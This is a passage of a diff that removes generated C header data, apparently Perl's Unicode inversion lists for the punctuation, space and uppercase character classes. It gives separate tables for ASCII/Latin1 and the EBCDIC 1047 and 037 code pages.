0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x11174, - 0x11176, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, - 0x115C1, - 0x115D8, - 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXPUNCT_invlist[] = { /* for EBCDIC 1047 */ - 343, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x51, - 0x5A, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAD, - 0xAE, - 0xB3, - 0xB4, - 0xB5, - 0xB7, - 0xBD, - 0xBE, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE1, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x55A, - 0x560, - 0x589, - 0x58B, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x700, - 0x70E, - 0x7F7, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0x970, - 0x971, - 0x9FD, - 0x9FE, - 0xAF0, - 0xAF1, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF3A, - 0xF3E, - 0xF85, - 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, - 0x104A, - 0x1050, - 0x10FB, - 0x10FC, - 0x1360, - 0x1369, - 0x1400, - 0x1401, - 0x166D, - 0x166F, - 0x169B, - 0x169D, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DB, - 0x1800, - 0x180B, - 0x1944, - 0x1946, - 0x1A1E, - 0x1A20, - 0x1AA0, - 0x1AA7, - 0x1AA8, - 0x1AAE, - 0x1B5A, - 0x1B61, - 0x1BFC, - 0x1C00, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x2010, - 0x2028, - 0x2030, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x205F, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2CF9, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x2E4A, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, - 0x303D, - 0x303E, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA6F8, - 0xA874, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA92E, - 0xA930, - 0xA95F, - 0xA960, - 0xA9C1, - 0xA9CE, - 0xA9DE, - 0xA9E0, - 0xAA5C, - 0xAA60, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF0B, - 0xFF0C, - 0xFF10, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF21, - 0xFF3B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x11174, - 0x11176, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, - 0x115C1, - 0x115D8, - 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXPUNCT_invlist[] = { /* for EBCDIC 037 */ - 345, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4B, - 0x51, - 0x5A, - 0x5F, - 0x60, - 0x62, - 0x6B, - 0x70, - 0x79, - 0x80, - 0x8A, - 0x8C, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xB0, - 0xB1, - 0xB3, - 0xB4, - 0xB5, - 0xB7, - 0xBA, - 0xBC, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xE0, - 0xE1, - 0x37E, - 0x37F, - 0x387, - 0x388, - 0x55A, - 0x560, - 0x589, - 0x58B, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, - 0x61B, - 0x61C, - 0x61E, - 0x620, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x700, - 0x70E, - 0x7F7, - 0x7FA, - 0x830, - 0x83F, - 0x85E, - 0x85F, - 0x964, - 0x966, - 0x970, - 0x971, - 0x9FD, - 0x9FE, - 0xAF0, - 0xAF1, - 0xDF4, - 0xDF5, - 0xE4F, - 0xE50, - 0xE5A, - 0xE5C, - 0xF04, - 0xF13, - 0xF14, - 0xF15, - 0xF3A, - 0xF3E, - 0xF85, - 0xF86, - 0xFD0, - 0xFD5, - 0xFD9, - 0xFDB, - 0x104A, - 0x1050, - 0x10FB, - 0x10FC, - 0x1360, - 0x1369, - 0x1400, - 0x1401, - 0x166D, - 0x166F, - 0x169B, - 0x169D, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DB, - 0x1800, - 0x180B, - 0x1944, - 0x1946, - 0x1A1E, - 0x1A20, - 0x1AA0, - 0x1AA7, - 0x1AA8, - 0x1AAE, - 0x1B5A, - 0x1B61, - 0x1BFC, - 0x1C00, - 0x1C3B, - 0x1C40, - 0x1C7E, - 0x1C80, - 0x1CC0, - 0x1CC8, - 0x1CD3, - 0x1CD4, - 0x2010, - 0x2028, - 0x2030, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x205F, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2CF9, - 0x2CFD, - 0x2CFE, - 0x2D00, - 0x2D70, - 0x2D71, - 0x2E00, - 0x2E2F, - 0x2E30, - 0x2E4A, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3014, - 0x3020, - 0x3030, - 0x3031, - 0x303D, - 0x303E, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0xA4FE, - 0xA500, - 0xA60D, - 0xA610, - 0xA673, - 0xA674, - 0xA67E, - 0xA67F, - 0xA6F2, - 0xA6F8, - 0xA874, - 0xA878, - 0xA8CE, - 0xA8D0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA92E, - 0xA930, - 0xA95F, - 0xA960, - 0xA9C1, - 0xA9CE, - 0xA9DE, - 0xA9E0, - 0xAA5C, - 0xAA60, - 0xAADE, - 0xAAE0, - 0xAAF0, - 0xAAF2, - 0xABEB, - 0xABEC, - 0xFD3E, - 0xFD40, - 0xFE10, - 0xFE1A, - 0xFE30, - 0xFE53, - 0xFE54, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE68, - 0xFE69, - 0xFE6A, - 0xFE6C, - 0xFF01, - 0xFF04, - 0xFF05, - 0xFF0B, - 0xFF0C, - 0xFF10, - 0xFF1A, - 0xFF1C, - 0xFF1F, - 0xFF21, - 0xFF3B, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF66, - 0x10100, - 0x10103, - 0x1039F, - 0x103A0, - 0x103D0, - 0x103D1, - 0x1056F, - 0x10570, - 0x10857, - 0x10858, - 0x1091F, - 0x10920, - 0x1093F, - 0x10940, - 0x10A50, - 0x10A59, - 0x10A7F, - 0x10A80, - 0x10AF0, - 0x10AF7, - 0x10B39, - 0x10B40, - 0x10B99, - 0x10B9D, - 0x11047, - 0x1104E, - 0x110BB, - 0x110BD, - 0x110BE, - 0x110C2, - 0x11140, - 0x11144, - 0x11174, - 0x11176, - 0x111C5, - 0x111CA, - 0x111CD, - 0x111CE, - 0x111DB, - 0x111DC, - 0x111DD, - 0x111E0, - 0x11238, - 0x1123E, - 0x112A9, - 0x112AA, - 0x1144B, - 0x11450, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x114C6, - 0x114C7, - 0x115C1, - 0x115D8, - 0x11641, - 0x11644, - 0x11660, - 0x1166D, - 0x1173C, - 0x1173F, - 0x11A3F, - 0x11A47, - 0x11A9A, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11C41, - 0x11C46, - 0x11C70, - 0x11C72, - 0x12470, - 0x12475, - 0x16A6E, - 0x16A70, - 0x16AF5, - 0x16AF6, - 0x16B37, - 0x16B3C, - 0x16B44, - 0x16B45, - 0x1BC9F, - 0x1BCA0, - 0x1DA87, - 0x1DA8C, - 0x1E95E, - 0x1E960 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXSPACE_invlist[] = { /* for ASCII/Latin1 */ - 21, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xE, - 0x20, - 0x21, - 0x85, - 0x86, - 0xA0, - 0xA1, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXSPACE_invlist[] = { /* for EBCDIC 1047 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXSPACE_invlist[] = { /* for EBCDIC 037 */ - 23, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXUPPER_invlist[] = { /* for ASCII/Latin1 */ - 1265, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x41, - 0x5B, - 0xC0, - 0xD7, - 0xD8, - 0xDF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1FB8, - 0x1FBC, - 0x1FC8, - 0x1FCC, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFC, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x2130, - 0x2134, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x2160, - 0x2170, - 0x2183, - 0x2184, - 0x24B6, - 0x24D0, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 